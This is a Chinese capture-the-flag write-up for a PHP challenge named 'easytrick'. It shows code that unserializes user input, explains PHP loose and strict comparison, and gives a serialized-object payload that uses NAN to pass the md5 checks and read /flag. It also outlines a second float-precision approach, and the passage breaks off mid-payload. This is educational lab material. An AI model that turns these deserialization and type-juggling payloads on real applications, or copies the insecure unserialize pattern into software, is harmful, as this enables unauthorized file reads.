easytrick
<?php
class trick{
public $trick1;
public $trick2;
public function __destruct(){
$this->trick1 = (string)$this->trick1;
if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){
die("你太长了");
}
if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
echo file_get_contents("/flag");
}
}
}
highlight_file(__FILE__);
unserialize($_GET['trick']);
观察代码,发现trick1
这个参数被强制转成了string
类型,这里之所以强制转换,主要是下面的md5($this->trick1) === md5($this->trick2)
,虽然是===
,但md5函数在处理数组时有缺陷默认数组为0
,所以这里才要强制转换下类型。
这道题是根据强网杯的一道题改的
if($_POST['param1']!==$_POST['param2'] &&md5($_POST['param1'])===md5($_POST['param2']))
{
die("success!");
}
这道题就多了一个检测长度的和$this->trick1 != $this->trick2
,所以就要思考怎么绕过去。
首先要说的一点便是!==
和!=
这两点的区别
<?php
$a=1;
$b='1';
$c=1;
var_dump($a!==$b);
#bool(true)
var_dump($a!=$b);
#bool(false)
== 和 != 比较如果类型不同,先偿试转换类型,再作值比较,最后返回值比较结果
=== 和 !== 只有在相同类型下,才会比较其值
当时做题思考的是因为此时不能输入数组了,只能输入字符串,就需要进行md5碰撞
4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa200a8284bf36e8e4b55b35f427593d849676da0d1555d8360fb5f07fea2
4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa202a8284bf36e8e4b55b35f427593d849676da0d1d55d8360fb5f07fea2
都有相同的hash值,但在这道题中是不行的,因为长度限制了,没做出来也是卡在这里了。看了Y1ng师傅的WP,才知道利用NAN或INF
即可
INF这个值在PHP中代表的是无穷大的意思
NaN常在浮点数运算中使用
payload:
<?php
class trick{
public $trick1;
public $trick2;
}
$tr = new trick();
$tr->trick1 = NAN;
$tr->trick2 = NAN;
echo serialize($tr);
得到的序列化传进去即可得到flag,这里可能在$this->trick1 != $this->trick2
这段代码处有所疑惑,不都是NaN
,而且上面不是还是说==
先转换类型再比较值,既然这样为什么还是执行成功了,原因在于
NAN代表非数值的特殊值,用于指示某个值不是数字
NAN与其他数值进行比较的结果总是不相等的,包括自身在内
所以比较结果为true
除此之外,看了Drom师傅的博客学到了另外一种方法:
因为这道题是考察浮点数精度问题导致的大小比较以及函数处理问题,当小数小于10^-16
后,PHP对于小数就大小不分了
var_dump(1.000000000000000 == 1) >> TRUE
var_dump(1.0000000000000001 == 1) >> TRUE
0.9999999999999999
(17个9)经过strlen
函数会判断为1
经过测试发现!==
和!=
均成立
最后看一下md5函数处理后是否相同
确实也成立,那就写payload即可
<?php
class trick{
public $trick1